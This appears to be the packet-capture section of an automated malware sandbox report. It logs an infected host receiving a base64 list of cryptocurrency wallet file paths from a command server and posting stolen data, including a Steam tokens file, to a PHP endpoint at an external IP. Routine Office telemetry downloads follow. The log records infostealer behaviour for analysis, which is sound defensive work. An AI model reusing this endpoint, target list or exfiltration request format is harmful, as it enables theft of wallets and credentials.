Oct 29, 2024 15:27:53.786393881 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 29, 2024 15:27:53.788866997 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="message"files------KFBAECBAEGDGDHIEHIJJ--
Oct 29, 2024 15:27:54.071372032 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:54.097124100 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file"------DBGIJEHIIDGCFHIEGDGC--
Oct 29, 2024 15:27:54.869383097 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:54.872199059 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFCGDAAKFHIDBFIDBKFH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 49 44 42 4b 46 48 2d 2d 0d 0a Data Ascii: ------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------BFCGDAAKFHIDBFIDBKFHContent-Disposition: form-data; name="message"ybncbhylepme------BFCGDAAKFHIDBFIDBKFH--
Oct 29, 2024 15:27:55.152298927 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 15:27:55.155148029 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 34 35 32 31 36 30 34 36 33 32 31 30 34 34 35 64 34 66 66 35 61 62 32 37 63 66 30 30 38 34 36 64 66 64 37 65 33 39 38 35 37 36 61 66 63 65 65 36 31 61 34 35 64 66 31 33 62 35 34 36 30 65 37 31 32 65 62 37 39 64 66 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"3452160463210445d4ff5ab27cf00846dfd7e398576afcee61a45df13b5460e712eb79df------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GDBKKFHIEGDHJKECAAKK--
Oct 29, 2024 15:27:55.957998037 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:08 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:08 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:08 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: acfedf75-801e-002a-2768-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142708Z-17c5cb586f6fqqst87nqkbsx1c00000005100000000096gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:08 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 14:27:09 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:10 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:10 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:10 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: f31c25f5-601e-0001-6558-27faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142710Z-r197bdfb6b4grkz4xgvkar0zcs000000065000000000cpgh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
